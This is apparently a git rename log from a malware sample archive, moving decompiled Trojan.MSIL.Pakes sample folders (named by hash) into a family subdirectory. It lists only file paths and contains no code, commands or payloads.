MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/MyComputer.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/Trojan.MSIL.Pakes.ar.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/Trojan.MSIL.Pakes.ar.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/WNblUUHtUqESyQD.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/vOLhRciepHIdeoM.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MSOZqrNOYvcGVCJ.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MyComputer.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/Trojan.MSIL.Pakes.ar.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/Trojan.MSIL.Pakes.ar.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-b84e3b03559cb0d69e6a88acaae00e1a5f84577be40491b76da343a7b5d80727/jkinYfmDedtjldD.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/MyComputer.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/TaFRRgkneETMvdg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/Trojan.MSIL.Pakes.ar.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-f31b14069833b2ad38b746e4a32639b06fa06024129860da9f3c3c03a732a65e/sOCLjdHJpKPXNsC.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Program.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/Trojan.MSIL.Pakes.at.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.at-99b1f8115f5adc5f9080da56848ccd7f7c03dda5f82a0a460908cb39781141d6/files.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Oywqlt2t1qhfwywyazfarq5uy.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Sdq242yforpurdmn1igrgoxgfi0kiiw33/calbufxxjdqqg2hmd.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Settings.xml (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/Token2000015.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c0fd6042cf6163af5c5647fc1f5915949.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c20d0cffccd6dc5adbb96a36882476ba1.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/ceb562aff020f9bdc8cc736dbc668c704.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Trojan.MSIL.Pakes.cx.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/Urds1z1wtoob4waskjjcwebqs.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/_003CModule_003E.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/Token2000013.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/net (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/Token2000015.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c0fd6042cf6163af5c5647fc1f5915949.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/c20d0cffccd6dc5adbb96a36882476ba1.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/A/ceb562aff020f9bdc8cc736dbc668c704.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Trojan.MSIL.Pakes.cx.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/Urds1z1wtoob4waskjjcwebqs.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/_003CModule_003E.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/Token2000013.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/h5ujlmy3tnldxk1xj/qbtgthkfdtdkregzw5sbjritg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/Token2000014.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/jjbyfmanvwf3fcjqxg0dm4lt2/majdcbl3z2ygng2ubtt5syebj.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/net (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.cx-64da52a89d0b6ec1821ebdb657c9aa3fad75480f7720b2263f4d89894ec7f508/xjelt1xzblpwevvmag5rnjzve32rhy4yl.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/Trojan.MSIL.Pakes.dh.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/aHefnbF6KHz.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/iagMifz5a6GqCE4rfTire.png (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dh-7688fdf5ca1ea55c4482dedf93d974191c6ab60a28d8173e5c6f16d54641fb5d/ҿǭֆƜƒփƛǢǤǤƱҧǢƎƈǍƩƳƉȄƣռȣպҧƑƳȮӸǎƙǥƎǭƖƅƣȣƅǢƒƳǭƄƔȮȜӸփƁ.cs (100%) rename MSIL/Trojan/MSIL/{I/Trojan.MSIL.Inject.aey-567b94bcdaea498b72ea3b4193d16a0eeb6807a02fefe59b9b87d0ae03d8dcd4 => P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4}/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/Trojan.MSIL.Pakes.dp.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0002.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0003.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0005.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0006.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_0008.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000E.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/_000F.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/zCom.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/             (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FggaaqERw4/bpeaangBiXdtMncLbwcDgqA.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/FuhbaosSnEhoDmdbaD/jtjaakuZtSzpkhbvdvaAqo4.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/GnabakDekHgxFfd/othbajgpnsnoGgaCaedEkir.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Config/xml.gzc (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/GeniusLibFull/dll.gzc (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/Ionic/Zip/Reduced/dll.gc (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/KnhbactTfNdacabFcPc/genius/js.gzc (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/OiicagDWfgAgHkbNbCbakTnESb/oahbaiumtqydciaHbkbKqTk.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/Trojan.MSIL.Pakes.du.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/boiaadDrjXsxtfdac/CbkbafEkw5pkwjcaeOdbfNg.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/fxgaaaBVsPjCuobKdzb/teiaabaLbMbKddbmazdecRj.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/gagbafjWbCoxFcbHcVacqOqf2aio/OrecacFWaZivwheEeCajekU.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/hnccaizobihvBhb/jdcbaieHqbxBybbOaZbCbMH.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/iubbacebuRdiakeeczcymcb/LumcahDjgqcApjatcFcnoFA.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/kiacaenjkbAHbcdkeacymGOkrbdbA/EeecaoCshVhcefbAaOaKqJR.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/mtbaaqaLuFwacda/LoeaadkXoSwAzcaSdLcicQP.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/nhkaaeAGtVxDkabjabbj/umhbahmRfewyedeJcobtmdN.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/rujaagfvdwmdGncv/FvcbafEte8zsdedCcpdyahg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.du-b11272b1a82ee034e18830119fc4f940715e26d2086ff5a1942a9b8d6d3b8f13/tndaaoprtYf/gqcaadgSdBydukdbefargEP.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyComputer.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Stair.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/TC.resx (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/Trojan.MSIL.Pakes.ej.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ej-3087c4dd63373c7d0d02defafab458e02d0269a4bf0928fb0ffe8c60d3679984/hKPcZIVuuWerTnSqIiJUOg.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ek-3aa7bb73213b566fe6501925efc49e102b643e64d320edfba21f5faccdc5ac53/MyComputer.cs (100%) rename 